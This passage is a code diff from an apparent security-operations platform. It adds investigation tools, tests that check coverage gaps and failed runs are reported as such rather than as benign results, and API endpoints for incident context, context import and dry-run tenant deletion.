+ "Turns a single suspicious process into a fleet-wide picture: a binary "
+ "first seen on three hosts this morning is a different finding from one "
+ "that has run daily for a year."
+ ),
+ parameters=_schema(
+ {
+ "process_name": {"type": "string"},
+ "sha256": {"type": "string"},
+ "days": _DAYS,
+ },
+ [],
+ ),
+ fn=bind("historical_execution"),
+ ),
+ Tool(
+ name="network_connections",
+ description=(
+ "Outbound connections from a host or source address, grouped by "
+ "destination. Use after process_activity to see where a process "
+ "talked to."
+ ),
+ parameters=_schema(
+ {"hostname": {"type": "string"}, "source_ip": {"type": "string"}, "hours": _HOURS},
+ [],
+ ),
+ fn=bind("network_connections"),
+ ),
+ Tool(
+ name="authentication_events",
+ description=(
+ "Where and from what addresses an account authenticated. Use to check "
+ "for impossible travel: several distinct source addresses for one "
+ "account inside a window too short to have travelled."
+ ),
+ parameters=_schema({"user_name": {"type": "string"}, "hours": _HOURS}, ["user_name"]),
+ fn=bind("authentication_events"),
+ ),
+ Tool(
+ name="fleet_ioc_hunt",
+ description=(
+ "Find every host that has observed an indicator (IP, domain, hash). "
+ "This is the pivot that finds the second compromised machine."
+ ),
+ parameters=_schema(
+ {
+ "indicator": {"type": "string", "description": "IP, domain or SHA-256."},
+ "days": _DAYS,
+ },
+ ["indicator"],
+ ),
+ fn=bind("fleet_ioc_hunt"),
+ ),
+ Tool(
+ name="entity_timeline",
+ description=(
+ "Every event touching one host or account, in chronological order. Use "
+ "last, to reconstruct the sequence once the entities are known."
+ ),
+ parameters=_schema(
+ {"hostname": {"type": "string"}, "user_name": {"type": "string"}, "hours": _HOURS},
+ [],
+ ),
+ fn=bind("entity_timeline"),
+ ),
+ Tool(
+ name="technique_activity",
+ description=(
+ "Other events mapped to the same ATT&CK technique. Answers whether a "
+ "behaviour is isolated or a pattern, which often separates a true "
+ "positive from a noisy rule."
+ ),
+ parameters=_schema(
+ {"technique_id": {"type": "string", "description": "e.g. T1059.001"}, "days": _DAYS},
+ ["technique_id"],
+ ),
+ fn=bind("technique_activity"),
+ ),
+ # Present deliberately, even though they cannot answer. A model that
+ # finds no process-tree tool pivots to whatever tool it does have and
+ # presents the result as lineage; one that is told the data class is
+ # not ingested reports the gap, which is both true and actionable.
+ Tool(
+ name="process_tree",
+ description=(
+ "Parent-child process lineage on a host. Reports whether this data "
+ "class is ingested; it requires an EDR connector that emits process "
+ "lineage."
+ ),
+ parameters=_schema({"hostname": {"type": "string"}, "pid": {"type": "integer"}}, ["hostname"]),
+ fn=bind("process_tree"),
+ ),
+ Tool(
+ name="mailbox_activity",
+ description=(
+ "Mailbox rules and access for an account. Reports whether this data "
+ "class is ingested; it requires a Microsoft 365 or Google Workspace "
+ "audit connector."
+ ),
+ parameters=_schema({"user_name": {"type": "string"}}, ["user_name"]),
+ fn=bind("mailbox_activity"),
+ ),
+ Tool(
+ name="oauth_grants",
+ description=(
+ "OAuth application consent grants for an account. Reports whether this "
+ "data class is ingested; it requires an Entra ID or Okta system-log "
+ "connector."
+ ),
+ parameters=_schema({"user_name": {"type": "string"}}, ["user_name"]),
+ fn=bind("oauth_grants"),
+ ),
+ Tool(
+ name="persistence_mechanisms",
+ description=(
+ "Run keys, scheduled tasks, launch agents and cron entries on a host. "
+ "Reports whether this data class is ingested; it requires an EDR or "
+ "osquery connector."
+ ),
+ parameters=_schema({"hostname": {"type": "string"}}, ["hostname"]),
+ fn=bind("persistence_mechanisms"),
+ ),
+ ]
diff --git a/services/agents/tests/test_bundle_incident_context.py b/services/agents/tests/test_bundle_incident_context.py
new file mode 100644
index 000000000..322e360cd
--- /dev/null
+++ b/services/agents/tests/test_bundle_incident_context.py
@@ -0,0 +1,243 @@
+"""The bundle must carry the five context dimensions, and say when it cannot.
+
+``entity_neighborhoods`` answers "what is reachable" as an undifferentiated
+node set. An investigation needs "what does it mean": which person holds the
+account, what is exploitable on the host, which business application it
+serves, who is accountable, which actor the indicators point at. Those five
+have to survive into the prompt separately, because a model handed a node set
+re-derives them badly or not at all.
+
+The property these tests protect hardest is the partial flag. An unreachable
+graph and an alert with genuinely no context produce identical empty bundles,
+and an agent that cannot distinguish them will reason as though absence of
+context were evidence of absence.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+import pytest
+from app.context import bundle as module
+from app.context.bundle import (
+ ContextBundle,
+ ContextBundleBuilder,
+ IncidentContextDimensions,
+)
+
+FULL_PAYLOAD: dict[str, Any] = {
+ "identities": [
+ {
+ "account": "[email protected]",
+ "employee": "Jordan Doe",
+ "title": "Staff Engineer",
+ "department": "Platform",
+ "manager": "Sam Rivera",
+ "is_active": False,
+ }
+ ],
+ "assets": [
+ {
+ "name": "build-07",
+ "owner": "Jordan Doe",
+ "vulnerabilities": [{"cve_id": "CVE-2026-1234", "known_exploited": True}],
+ }
+ ],
+ "cloud": [{"provider": "aws", "account_id": "1234", "environment": "prod", "secret_count": 3}],
+ "business": [
+ {
+ "name": "Payments API",
+ "criticality": "tier-1",
+ "data_classification": "pci",
+ "owner": "Ada Chen",
+ "internet_facing": True,
+ }
+ ],
+ "threat": [
+ {
+ "ioc": "203.0.113.9",
+ "ioc_type": "ip",
+ "malware": "ExampleLoader",
+ "actor": "Example Group",
+ "attribution_confidence": 65,
+ "techniques": ["T1078", "T1566"],
+ }
+ ],
+ "narrative": ["- Identity: account [email protected], held by Jordan Doe"],
+ "partial": False,
+ "errors": [],
+}
+
+
+class FakeResponse:
+ def __init__(self, payload: Any, status: int = 200) -> None:
+ self._payload = payload
+ self.status_code = status
+
+ def json(self) -> Any:
+ return self._payload
+
+ def raise_for_status(self) -> None:
+ if self.status_code >= 400:
+ raise RuntimeError(f"HTTP {self.status_code}")
+
+
+class FakeClient:
+ """Stands in for httpx.AsyncClient; records the request it was given."""
+
+ calls: list[tuple[str, dict[str, Any]]] = []
+
+ def __init__(self, payload: Any = None, *, boom: Exception | None = None) -> None:
+ self._payload = payload
+ self._boom = boom
+
+ def __call__(self, *args: Any, **kwargs: Any) -> FakeClient:
+ return self
+
+ async def __aenter__(self) -> FakeClient:
+ return self
+
+ async def __aexit__(self, *args: Any) -> None:
+ return None
+
+ async def get(self, url: str, **kwargs: Any) -> FakeResponse:
+ FakeClient.calls.append((url, kwargs))
+ if self._boom is not None:
+ raise self._boom
+ return FakeResponse(self._payload)
+
+
[email protected](autouse=True)
+def _reset_calls() -> None:
+ FakeClient.calls = []
+
+
+def _patch_client(monkeypatch: pytest.MonkeyPatch, client: FakeClient) -> None:
+ monkeypatch.setattr(module.httpx, "AsyncClient", client)
+
+
+class TestFetch:
+ async def test_dimensions_land_in_the_bundle(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ _patch_client(monkeypatch, FakeClient(FULL_PAYLOAD))
+ builder = ContextBundleBuilder()
+ result = await builder._fetch_incident_context("tenant-a", {"id": "alert-1"})
+
+ assert result.dimensions_resolved == 5
+ assert result.identities[0]["employee"] == "Jordan Doe"
+ assert result.business[0]["criticality"] == "tier-1"
+ assert result.threat[0]["actor"] == "Example Group"
+ assert not result.partial
+
+ async def test_the_tenant_is_sent(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ """Scoping is enforced API-side; the caller must identify itself."""
+ _patch_client(monkeypatch, FakeClient(FULL_PAYLOAD))
+ await ContextBundleBuilder()._fetch_incident_context("tenant-a", {"id": "alert-1"})
+
+ url, kwargs = FakeClient.calls[0]
+ assert "alert-1" in url
+ assert kwargs["headers"]["X-Tenant-ID"] == "tenant-a"
+
+ @pytest.mark.parametrize("key", ["id", "alert_id", "external_id"])
+ async def test_alert_id_is_read_from_any_of_the_three_shapes(self, monkeypatch: pytest.MonkeyPatch, key: str) -> None:
+ """Fused alerts, API alerts and vendor findings spell it differently."""
+ _patch_client(monkeypatch, FakeClient(FULL_PAYLOAD))
+ await ContextBundleBuilder()._fetch_incident_context("t", {key: "alert-9"})
+ assert "alert-9" in FakeClient.calls[0][0]
+
+ async def test_no_alert_id_does_not_call_the_api(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ _patch_client(monkeypatch, FakeClient(FULL_PAYLOAD))
+ result = await ContextBundleBuilder()._fetch_incident_context("t", {})
+ assert FakeClient.calls == []
+ assert result.dimensions_resolved == 0
+
+
+class TestPartial:
+ async def test_partial_flag_survives_into_the_bundle(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ payload = {**FULL_PAYLOAD, "partial": True, "errors": ["threat (TimeoutError)"], "threat": []}
+ _patch_client(monkeypatch, FakeClient(payload))
+ result = await ContextBundleBuilder()._fetch_incident_context("t", {"id": "a"})
+
+ assert result.partial
+ assert result.errors == ["threat (TimeoutError)"]
+ assert result.dimensions_resolved == 4, "the surviving dimensions were discarded"
+
+ async def test_an_api_failure_does_not_poison_the_whole_bundle(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ """_safe wraps every fetcher; this asserts the wiring, not the helper."""
+ _patch_client(monkeypatch, FakeClient(boom=RuntimeError("api down")))
+
+ class State:
+ incident_id = None
+ tenant_id = "t"
+ alert_summary = "suspicious login"
+ raw_alert = {"id": "alert-1"}
+
+ bundle = await ContextBundleBuilder().build(State())
+ assert isinstance(bundle, ContextBundle)
+ assert bundle.build_completed_at is not None
+ assert bundle.incident_context.dimensions_resolved == 0
+
+
+class TestHasAnyContext:
+ def test_dimensions_alone_count_as_context(self) -> None:
+ """Otherwise an alert whose only context is business criticality
+ short-circuits to bare-alert reasoning and discards it."""
+ bundle = ContextBundle(incident_id=__import__("uuid").uuid4())
+ assert not bundle.has_any_context
+
+ bundle.incident_context = IncidentContextDimensions(business=[{"name": "Payments API", "criticality": "tier-1"}])
+ assert bundle.has_any_context
+
+ def test_an_empty_dimensions_object_is_not_context(self) -> None:
+ bundle = ContextBundle(incident_id=__import__("uuid").uuid4())
+ bundle.incident_context = IncidentContextDimensions(partial=True, errors=["graph down"])
+ assert not bundle.has_any_context, (
+ "a failed lookup was counted as context; the agent would then " "take the bundle-aware path with nothing in it"
+ )
+
+
+def test_dimensions_resolved_counts_populated_slots_only() -> None:
+ d = IncidentContextDimensions()
+ assert d.dimensions_resolved == 0
+ d.identities = [{"account": "a"}]
+ d.assets = [{"id": "h"}]
+ assert d.dimensions_resolved == 2
+ assert d.has_content
+
+
+class TestPromptRendering:
+ """What reaches the model is the only thing that changes a verdict."""
+
+ def _bundle(self, dimensions: IncidentContextDimensions) -> ContextBundle:
+ bundle = ContextBundle(incident_id=__import__("uuid").uuid4())
+ bundle.incident_context = dimensions
+ return bundle
+
+ def test_narrative_reaches_the_prompt(self) -> None:
+ bundle = self._bundle(
+ IncidentContextDimensions(
+ business=[{"name": "Payments API"}],
+ narrative=["- Business: Payments API, criticality tier-1, data pci"],
+ )
+ )
+ text = "\n".join(bundle.prompt_context_lines())
+ assert "Entity context" in text
+ assert "criticality tier-1" in text
+
+ def test_narrative_is_not_re_summarised(self) -> None:
+ """Re-rendering here would drop the qualifiers that keep it honest."""
+ line = "- Threat: ip 1.2.3.4, attributed to Example Group (attribution unconfirmed)"
+ bundle = self._bundle(IncidentContextDimensions(threat=[{"ioc": "1.2.3.4"}], narrative=[line]))
+ assert any(line in rendered for rendered in bundle.prompt_context_lines())
+
+ def test_failed_lookup_is_stated_rather_than_omitted(self) -> None:
+ """Silence reads to a model as 'no context exists', which is not what
+ a timeout means."""
+ bundle = self._bundle(IncidentContextDimensions(partial=True, errors=["identities (TimeoutError)"]))
+ text = "\n".join(bundle.prompt_context_lines())
+ assert "unavailable" in text
+ assert "identities (TimeoutError)" in text
+ assert "not as benign" in text
+
+ def test_nothing_is_added_when_there_is_nothing_to_say(self) -> None:
+ bundle = self._bundle(IncidentContextDimensions())
+ assert "Entity context" not in "\n".join(bundle.prompt_context_lines())
diff --git a/services/agents/tests/test_deep_investigation.py b/services/agents/tests/test_deep_investigation.py
new file mode 100644
index 000000000..03695ca21
--- /dev/null
+++ b/services/agents/tests/test_deep_investigation.py
@@ -0,0 +1,306 @@
+"""The recursive investigation must pivot, and must not lie when it cannot.
+
+``run_with_tools`` shipped working, guarded and instrumented, with zero
+production callers, so the platform's deepest capability was reachable only
+from tests. That is the failure this covers: not "does the loop work" but
+"does anything call it, does it take real pivots, and does a failed or
+shallow run report itself as such".
+
+The most important assertions here are the negative ones. A tool that
+reports its data class is not ingested must not count as a pivot, or an
+investigation reaches its depth floor by asking four questions nobody can
+answer. And a failed run must not produce findings that read like a
+completed one.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+import pytest
+from app.investigator import deep_investigation as module
+from app.investigator.deep_investigation import (
+ DeepInvestigationResult,
+ _classify_pivots,
+ _summarise_alert,
+ run_deep_investigation,
+)
+from app.investigator.strategies import (
+ FALLBACK,
+ KNOWN_PIVOTS,
+ STRATEGIES,
+ get_strategy,
+ select_strategy,
+)
+
+
+class FakeState:
+ def __init__(self, **kw: Any) -> None:
+ self.tenant_id = kw.get("tenant_id", "tenant-1")
+ self.alert_summary = kw.get("summary", "suspicious powershell on WS-42")
+ self.mitre_mappings = kw.get("techniques", ["T1059.001"])
+ self.raw_alert = kw.get("raw_alert", {"src_hostname": "WS-42", "user_name": "j.doe"})
+
+
+def _trace(*entries: tuple[str, bool]) -> list[dict[str, Any]]:
+ """Build a tool trace. ``True`` means the tool answered with data."""
+ return [
+ {
+ "tool": name,
+ "args": {},
+ "result_preview": str({"tool": name, "available": available, "rows": []}),
+ }
+ for name, available in entries
+ ]
+
+
+class StubLoop:
+ """Stands in for run_with_tools; records how it was called."""
+
+ def __init__(self, trace: list[dict[str, Any]], *, content: str = "narrative", truncated: bool = False) -> None:
+ self.trace = trace
+ self.content = content
+ self.truncated = truncated
+ self.calls: list[dict[str, Any]] = []
+
+ async def __call__(self, llm: Any, **kwargs: Any) -> dict[str, Any]:
+ self.calls.append(kwargs)
+ return {
+ "content": self.content,
+ "tool_trace": self.trace,
+ "iterations": max(1, len(self.trace)),
+ "truncated": self.truncated,
+ }
+
+
+class TestStrategySelection:
+ @pytest.mark.parametrize(
+ ("summary", "techniques", "expected"),
+ [
+ ("powershell spawned a child process", ["T1059.001"], "endpoint-suspicious-process"),
+ ("impossible travel for j.doe", ["T1078"], "identity-account-takeover"),
+ ("user opened a phishing attachment", ["T1566.001"], "phishing-payload"),
+ ("regular outbound beacon detected", ["T1071"], "c2-beaconing"),
+ ("smb lateral movement observed", ["T1021"], "lateral-movement"),
+ ("assumerole from an unusual address", ["T1078.004"], "cloud-credential-abuse"),
+ ("large upload to an external host", ["T1041"], "data-exfiltration"),
+ ("user added to domain admins", ["T1098"], "privilege-escalation"),
+ ("new scheduled task created", ["T1053"], "persistence-established"),
+ ],
+ )
+ def test_selection_discriminates(self, summary: str, techniques: list[str], expected: str) -> None:
+ assert select_strategy(summary=summary, techniques=techniques).id == expected
+
+ def test_subtechnique_matches_its_parent_strategy(self) -> None:
+ """T1078.004 is still an identity problem."""
+ assert select_strategy(summary="", techniques=["T1078.004"]).id in {
+ "identity-account-takeover",
+ "cloud-credential-abuse",
+ }
+
+ def test_technique_outranks_keyword(self) -> None:
+ """An ATT&CK mapping is a classification; a keyword is incidental."""
+ chosen = select_strategy(
+ summary="the analyst mentioned email and phishing in the notes",
+ techniques=["T1021"],
+ )
+ assert chosen.id == "lateral-movement"
+
+ def test_no_match_falls_back_rather_than_returning_none(self) -> None:
+ """Without a fallback an unmatched alert reverts to summarising text."""
+ chosen = select_strategy(summary="zzzz", techniques=[])
+ assert chosen is FALLBACK
+ assert chosen.expected_pivots
+
+
+class TestStrategyLibrary:
+ def test_every_expected_pivot_is_a_real_tool(self) -> None:
+ for strategy in STRATEGIES:
+ for pivot in strategy.expected_pivots:
+ assert pivot in KNOWN_PIVOTS, f"{strategy.id} expects unknown {pivot}"
+
+ def test_no_strategy_can_pass_by_calling_one_tool(self) -> None:
+ for strategy in STRATEGIES:
+ assert strategy.min_pivots >= 2, strategy.id
+
+ def test_no_strategy_sets_an_unreachable_floor(self) -> None:
+ for strategy in STRATEGIES:
+ assert strategy.min_pivots <= len(strategy.expected_pivots), strategy.id
+
+ def test_guidance_tells_the_model_not_to_stop_early(self) -> None:
+ """The single most load-bearing sentence in the prompt."""
+ guidance = STRATEGIES[0].system_guidance()
+ assert "Do not stop at the first tool result" in guidance
+ assert "not ingested" in guidance
+
+ def test_guidance_permits_skipping_dead_branches(self) -> None:
+ """A numbered imperative list makes the model call tools pointlessly."""
+ assert "skip steps whose inputs came back empty" in STRATEGIES[0].system_guidance()
+
+
+class TestPivotClassification:
+ def test_unavailable_tools_do_not_count_as_pivots(self) -> None:
+ """Otherwise depth is reachable by asking unanswerable questions."""
+ pivots, unavailable = _classify_pivots(
+ _trace(
+ ("process_tree", False),
+ ("mailbox_activity", False),
+ ("oauth_grants", False),
+ ("persistence_mechanisms", False),
+ )
+ )
+ assert pivots == []
+ assert len(unavailable) == 4
+
+ def test_real_pivots_are_counted(self) -> None:
+ pivots, unavailable = _classify_pivots(_trace(("process_activity", True), ("historical_execution", True)))
+ assert pivots == ["process_activity", "historical_execution"]
+ assert unavailable == []
+
+ def test_mixed_trace_splits_correctly(self) -> None:
+ pivots, unavailable = _classify_pivots(_trace(("process_activity", True), ("process_tree", False)))
+ assert pivots == ["process_activity"]
+ assert unavailable == ["process_tree"]
+
+
+class TestDepthAccounting:
+ async def test_repeated_calls_to_one_tool_are_one_pivot(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ """Calling the same tool five times is not five pivots."""
+ loop = StubLoop(_trace(*[("process_activity", True)] * 5))
+ monkeypatch.setattr(module, "run_with_tools", loop)
+ result = await run_deep_investigation(FakeState(), llm=object())
+
+ assert len(result.pivots) == 5
+ assert result.distinct_pivots == 1
+ assert not result.reached_depth
+
+ async def test_reaching_the_floor_is_reported(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ loop = StubLoop(
+ _trace(
+ ("process_activity", True),
+ ("historical_execution", True),
+ ("network_connections", True),
+ )
+ )
+ monkeypatch.setattr(module, "run_with_tools", loop)
+ result = await run_deep_investigation(FakeState(), llm=object())
+
+ assert result.strategy_id == "endpoint-suspicious-process"
+ assert result.distinct_pivots == 3
+ assert result.reached_depth
+
+ async def test_unavailable_only_run_does_not_reach_depth(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ loop = StubLoop(_trace(("process_tree", False), ("mailbox_activity", False), ("oauth_grants", False)))
+ monkeypatch.setattr(module, "run_with_tools", loop)
+ result = await run_deep_investigation(FakeState(), llm=object())
+
+ assert not result.reached_depth
+ assert len(result.unavailable_data) == 3
+
+
+class TestFailuresAreLegible:
+ async def test_a_failed_run_says_so(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ async def boom(*args: Any, **kwargs: Any) -> dict[str, Any]:
+ raise RuntimeError("model unreachable")
+
+ monkeypatch.setattr(module, "run_with_tools", boom)
+ result = await run_deep_investigation(FakeState(), llm=object())
+
+ assert result.error
+ findings = result.findings()
+ assert any("did not complete" in f for f in findings)
+ assert not any("Investigation depth" in f for f in findings), "a failed run produced depth findings, which reads as a completed one"
+
+ async def test_a_failure_returns_rather_than_raises(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ """This runs inside a working deterministic investigation."""
+
+ async def boom(*args: Any, **kwargs: Any) -> dict[str, Any]:
+ raise ValueError("bad response")
+
+ monkeypatch.setattr(module, "run_with_tools", boom)
+ result = await run_deep_investigation(FakeState(), llm=object())
+ assert isinstance(result, DeepInvestigationResult)
+
+ async def test_budget_overrun_is_reported_as_partial(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ import asyncio
+
+ async def slow(*args: Any, **kwargs: Any) -> dict[str, Any]:
+ await asyncio.sleep(2)
+ return {}
+
+ monkeypatch.setattr(module, "run_with_tools", slow)
+ monkeypatch.setattr(module, "BUDGET_SECONDS", 0.05)
+ result = await run_deep_investigation(FakeState(), llm=object())
+
+ assert result.over_budget and result.error
+
+ async def test_disabled_reports_disabled_not_empty(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setattr(module, "ENABLED", False)
+ result = await run_deep_investigation(FakeState(), llm=object())
+ assert result.error and "disabled" in result.error
+
+
+class TestFindings:
+ def test_coverage_gaps_are_never_stated_as_absence(self) -> None:
+ """The whole reason the unavailable tools exist."""
+ result = DeepInvestigationResult(strategy_id="endpoint-suspicious-process")
+ result.pivots = ["process_activity", "historical_execution"]
+ result.distinct_pivots = 2
+ result.unavailable_data = ["mailbox_activity"]
+
+ text = "\n".join(result.findings())
+ assert "Coverage gap" in text
+ assert "unknown rather than clear" in text
+
+ def test_truncation_is_reported(self) -> None:
+ result = DeepInvestigationResult(strategy_id="generic-triage", truncated=True)
+ result.pivots = ["entity_timeline"]
+ result.distinct_pivots = 1
+ assert any("not exhausted" in f for f in result.findings())
+
+ def test_depth_is_recorded_in_the_findings(self) -> None:
+ result = DeepInvestigationResult(strategy_id="generic-triage")
+ result.pivots = ["entity_timeline", "fleet_ioc_hunt"]
+ result.distinct_pivots = 2
+ result.iterations = 3
+ text = "\n".join(result.findings())
+ assert "2 distinct pivots" in text and "3 reasoning steps" in text
+
+
+class TestPromptConstruction:
+ async def test_the_strategy_reaches_the_system_prompt(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ loop = StubLoop(_trace(("process_activity", True)))
+ monkeypatch.setattr(module, "run_with_tools", loop)
+ await run_deep_investigation(FakeState(), llm=object())
+
+ system = loop.calls[0]["system"]
+ assert "Suspicious process on an endpoint" in system
+ assert "Do not answer from the alert text alone" in system
+
+ async def test_the_investigation_tools_are_bound(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ """Without this the loop runs with enrichment tools only."""
+ loop = StubLoop([])
+ monkeypatch.setattr(module, "run_with_tools", loop)
+ await run_deep_investigation(FakeState(), llm=object())
+
+ names = set(loop.calls[0]["registry"].names())
+ assert {"process_activity", "fleet_ioc_hunt", "entity_timeline"} <= names
+ # And the original enrichment tools are still there.
+ assert "enrich_ioc" in names
+
+ def test_alert_summary_does_not_dump_raw_payloads(self) -> None:
+ state = FakeState(
+ raw_alert={
+ "src_hostname": "WS-42",
+ "raw_payload": "A" * 10_000,
+ "user_name": "j.doe",
+ }
+ )
+ rendered = _summarise_alert(state)
+ assert "WS-42" in rendered and "j.doe" in rendered
+ assert "AAAA" not in rendered, "raw payload leaked into the prompt"
+
+
+def test_strategy_lookup_by_id() -> None:
+ assert get_strategy("lateral-movement") is not None
+ assert get_strategy("no-such-strategy") is None
diff --git a/services/agents/tests/test_escalation_context_depth.py b/services/agents/tests/test_escalation_context_depth.py
index 631af3a9e..ef5b8ceb0 100644
--- a/services/agents/tests/test_escalation_context_depth.py
+++ b/services/agents/tests/test_escalation_context_depth.py
@@ -25,8 +25,13 @@ from __future__ import annotations
import uuid
import pytest
-from app.agents import tool_loop
from app.agents.investigation_agent import _bundle_findings
+
+# The implementation lives in app.llm; app.agents.tool_loop re-exports it.
+# This test patches a module attribute, so it must target the real module —
+# patching the re-export would be a no-op and the test would pass while
+# asserting nothing.
+from app.llm import tool_loop
from app.models.state import AgentStatus, InvestigationState
from app.workers import fused_alert_consumer as consumer
from app.workers.fused_alert_consumer import FusedAlertTriageWorker
diff --git a/services/api/app/api/v1/endpoints/graph.py b/services/api/app/api/v1/endpoints/graph.py
index 12a5747e0..a180bbbe9 100644
--- a/services/api/app/api/v1/endpoints/graph.py
+++ b/services/api/app/api/v1/endpoints/graph.py
@@ -12,8 +12,11 @@ from fastapi import APIRouter, Depends, HTTPException, Query, status
from pydantic import BaseModel, Field
from sqlalchemy import text
-from app.api.v1.deps import CurrentUser, DBSession, get_current_user
+from app.api.v1.deps import CurrentUser, DBSession, get_current_user, require_permission
from app.services import graph_service
+from app.services.context_import import import_context
+from app.services.incident_context import get_incident_context
+from app.services.investigation_tools import BACKED_TOOLS, TOOLS, dispatch
logger = logging.getLogger(__name__)
@@ -331,6 +334,142 @@ async def get_blast_radius(
return BlastRadiusResponse(**data)
+class IncidentContextResponse(BaseModel):
+ """The five context dimensions for one alert.
+
+ ``partial`` and ``errors`` are part of the contract, not diagnostics. An
+ empty bundle from an unreachable graph and an empty bundle from an alert
+ with genuinely no context look identical otherwise, and a consumer that
+ cannot tell them apart will treat "we could not look" as "there is
+ nothing to find".
+ """
+
+ alert_id: str
+ tenant_id: str
+ identities: list[dict[str, Any]] = Field(default_factory=list)
+ assets: list[dict[str, Any]] = Field(default_factory=list)
+ cloud: list[dict[str, Any]] = Field(default_factory=list)
+ business: list[dict[str, Any]] = Field(default_factory=list)
+ threat: list[dict[str, Any]] = Field(default_factory=list)
+ dimensions_resolved: int = 0
+ partial: bool = False
+ errors: list[str] = Field(default_factory=list)
+ narrative: list[str] = Field(default_factory=list)
+
+
+ "/incident-context/{alert_id}",
+ response_model=IncidentContextResponse,
+ summary="Traverse an alert into identity, asset, cloud, business and threat context",
+)
+async def incident_context(
+ alert_id: str,
+ current_user: CurrentUser = Depends(get_current_user),
+) -> IncidentContextResponse:
+ """Resolve one alert into the five dimensions an investigation needs.
+
+ Each dimension runs as its own bounded, tenant-scoped traversal, and they
+ run concurrently. A dimension that fails or times out names itself in
+ ``errors`` while the rest still return: this is on the hot path of every
+ escalated alert, so one slow leg must not take the bundle with it.
+
+ Returns 200 with ``partial: true`` rather than an error status when some
+ dimensions failed — the caller asked for context and got some.
+ """
+ context = await get_incident_context(alert_id, str(current_user.tenant_id))
+ payload = context.as_dict()
+ payload["narrative"] = context.narrative_lines()
+ return IncidentContextResponse(**payload)
+
+
+class InvestigationToolRequest(BaseModel):
+ """One typed investigation pivot.
+
+ ``tool`` names a primitive; ``args`` are its typed arguments. Deliberately
+ not SQL: handing a model the lake query endpoint puts prompt-injectable
+ text one step from the query planner, and the tenant predicate is the only
+ thing between two customers' data. ``tenant_id`` is taken from the
+ authenticated session and any value supplied here is discarded.
+ """
+
+ tool: str
+ args: dict[str, Any] = Field(default_factory=dict)
+
+
+ "/investigate/tools",
+ summary="List the investigation primitives and which are backed by data",
+)
+async def list_investigation_tools(
+ current_user: CurrentUser = Depends(get_current_user),
+) -> dict[str, Any]:
+ """Enumerate the toolset, separating what can answer from what cannot.
+
+ The split is part of the contract. A tool whose data class is not
+ ingested reports that rather than returning an empty result, because an
+ empty result reads as "I checked and found nothing" — which is how an
+ investigation concludes benign on evidence it never had.
+ """
+ return {
+ "tools": sorted(TOOLS),
+ "backed_by_data": sorted(BACKED_TOOLS),
+ "not_ingested": sorted(set(TOOLS) - BACKED_TOOLS),
+ }
+
+
+ "/investigate/query",
+ summary="Run one typed investigation primitive against the event lake",
+)
+async def run_investigation_tool(
+ request: InvestigationToolRequest,
+ current_user: CurrentUser = Depends(get_current_user),
+) -> dict[str, Any]:
+ """Execute one pivot. Tenant comes from the session, never the request."""
+ result = await dispatch(request.tool, str(current_user.tenant_id), request.args)
+ return result.as_dict()
+
+
+class ContextImportRequest(BaseModel):
+ """Directory, HR and CMDB context the event stream cannot carry.
+
+ An event can say an account authenticated. It cannot say which person
+ holds that account, whether they still work here, which business
+ application the host serves, or what an outage of it costs. That is the
+ difference between "unusual login for svc_deploy" and "unusual login for
+ svc_deploy, owned by a contractor whose last day was Friday, on the host
+ running the tier-1 payments service".
+ """
+
+ departments: list[dict[str, Any]] = Field(default_factory=list)
+ employees: list[dict[str, Any]] = Field(default_factory=list)
+ applications: list[dict[str, Any]] = Field(default_factory=list)
+ cloud_accounts: list[dict[str, Any]] = Field(default_factory=list)
+
+
+ "/context/import",
+ summary="Import identity, organisational and business context into the graph",
+)
+async def import_graph_context(
+ request: ContextImportRequest,
+ current_user: Annotated[CurrentUser, Depends(require_permission("settings:write"))],
+) -> dict[str, Any]:
+ """Upsert context records. Safe to run repeatedly on a schedule.
+
+ Records are merged rather than replaced: an import runs against a source
+ of record that may be partial, and replacing the tenant's context with
+ whatever one run produced would delete a department because an HR export
+ timed out.
+
+ Every rejected record is returned with its reason. A partially-applied
+ import reporting success is worse than a rejected one, because afterwards
+ the gaps are invisible.
+ """
+ report = await import_context(str(current_user.tenant_id), request.model_dump())
+ return report.as_dict()
+
+
@router.get(
"/neighbors/{entity_type}/{entity_id}",
response_model=EntityNeighborsResponse,
diff --git a/services/api/app/api/v1/endpoints/tenants.py b/services/api/app/api/v1/endpoints/tenants.py
index 0e8f2e860..6345e6c76 100644
--- a/services/api/app/api/v1/endpoints/tenants.py
+++ b/services/api/app/api/v1/endpoints/tenants.py
@@ -11,6 +11,7 @@ from sqlalchemy import select, update
from app.api.v1.deps import AuthUser, DBSession, require_permission
from app.core.security import get_password_hash
from app.models.tenant import Tenant, User
+from app.services.tenant_deletion import delete_tenant
router = APIRouter(prefix="/tenants", tags=["tenants"])
@@ -129,6 +130,56 @@ async def update_tenant_settings(
return TenantResponse.model_validate(result.scalar_one())
+class TenantDeletionRequest(BaseModel):
+ """Offboarding request.
+
+ ``confirm_tenant_id`` must equal the tenant being erased. Typing the id is
+ the only thing standing between "preview the erase" and "erase", and this
+ endpoint has no undo.
+ """
+
+ dry_run: bool = True
+ confirm_tenant_id: uuid.UUID | None = None
+
+
[email protected]("/me/delete", response_model=dict)
+async def delete_my_tenant(
+ request: TenantDeletionRequest,
+ current_user: Annotated[AuthUser, Depends(require_permission("settings:write"))],
+ db: DBSession,
+) -> dict:
+ """Erase this tenant from Postgres, ClickHouse, Neo4j, Qdrant and Redis.
+
+ Defaults to a dry run, which counts what would be removed per store
+ without deleting. A live run requires ``confirm_tenant_id`` to match, and
+ reports per-store results: if any store fails, the Postgres transaction is
+ rolled back so the tenant record still names whatever data survived
+ elsewhere, and ``complete`` is false.
+ """
+ tenant_id = current_user.tenant_id
+
+ if not request.dry_run and request.confirm_tenant_id != tenant_id:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=(
